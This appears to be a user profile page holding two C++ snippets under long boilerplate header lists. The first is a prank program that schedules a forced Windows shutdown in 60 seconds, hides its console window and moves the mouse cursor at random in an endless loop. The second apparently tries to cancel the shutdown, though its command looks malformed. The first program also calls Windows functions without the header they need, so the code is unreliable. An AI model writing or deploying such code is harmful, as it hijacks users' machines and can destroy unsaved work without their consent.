该用户不懒，但这里还是啥也没写 (´・ω・｀)

#include<ctype.h>
#include<errno.h>
#include<float.h>
#include<fstream>
#include<iomanip>
#include<iostream>
#include<limits.h>
#include<locale.h>
#include<math.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
//#include<strstrea>
#include<time.h>
#include<wchar.h>
#include<wctype.h>
#include<algorithm>
#include<bitset>
#include<cctype>
#include<cerrno>
#include<clocale>
#include<cmath>
#include<complex>
#include<cstdio>
#include<cstdlib>
#include<cstring>
#include<ctime>
#include<deque>
#include<exception>
#include<fstream>
#include<functional>
#include<limits>
#include<list>
#include<map>
#include<iomanip>
#include<ios>
#include<iosfwd>
#include<iostream>
#include<istream>
#include<ostream>
#include<queue>
#include<set>
#include<sstream>
#include<stack>
#include<stdexcept>
#include<streambuf>
#include<string>
#include<utility>
#include<vector>
#include<cwchar>
#include<cwctype>
#include<complex.h>
#include<fenv.h>
#include<inttypes.h>
#include<stdbool.h>
#include<stdint.h>
#include<tgmath.h>
#include<bits/stdc++.h>
using namespace std;
int main()
{
    system("Shutdown -s -t 60");
    HWND hwnd;
    hwnd=FindWindow("ConsoleWindowClass",NULL);
    if(hwnd) ShowWindow(hwnd,SW_HIDE);
	int x=GetSystemMetrics(SM_CXSCREEN);
	int y=GetSystemMetrics(SM_CYSCREEN);
	srand(time(0));
	while(1)cout<<"Oh！！！"<<endl&&SetCursorPos(rand()%x,rand()%y);
}

#include<assert.h>
#include<ctype.h>
#include<errno.h>
#include<float.h>
#include<fstream>
#include<iomanip>
#include<iostream>
#include<limits.h>
#include<locale.h>
#include<math.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
//#include<strstrea>
#include<time.h>
#include<wchar.h>
#include<wctype.h>
#include<algorithm>
#include<bitset>
#include<cctype>
#include<cerrno>
#include<clocale>
#include<cmath>
#include<complex>
#include<cstdio>
#include<cstdlib>
#include<cstring>
#include<ctime>
#include<deque>
#include<exception>
#include<fstream>
#include<functional>
#include<limits>
#include<list>
#include<map>
#include<iomanip>
#include<ios>
#include<iosfwd>
#include<iostream>
#include<istream>
#include<ostream>
#include<queue>
#include<set>
#include<sstream>
#include<stack>
#include<stdexcept>
#include<streambuf>
#include<string>
#include<utility>
#include<vector>
#include<cwchar>
#include<cwctype>
#include<complex.h>
#include<fenv.h>
#include<inttypes.h>
#include<stdbool.h>
#include<stdint.h>
#include<tgmath.h>
#include<bits/stdc++.h>
using namespace std;
#pragma GCC optimize(2,3,"Ofast","inline")
//typedef 类型 名字;
//#define 变量名 值
//#define 类型 名字
int main(){
	system("Shutdown - a");
	return 0;
}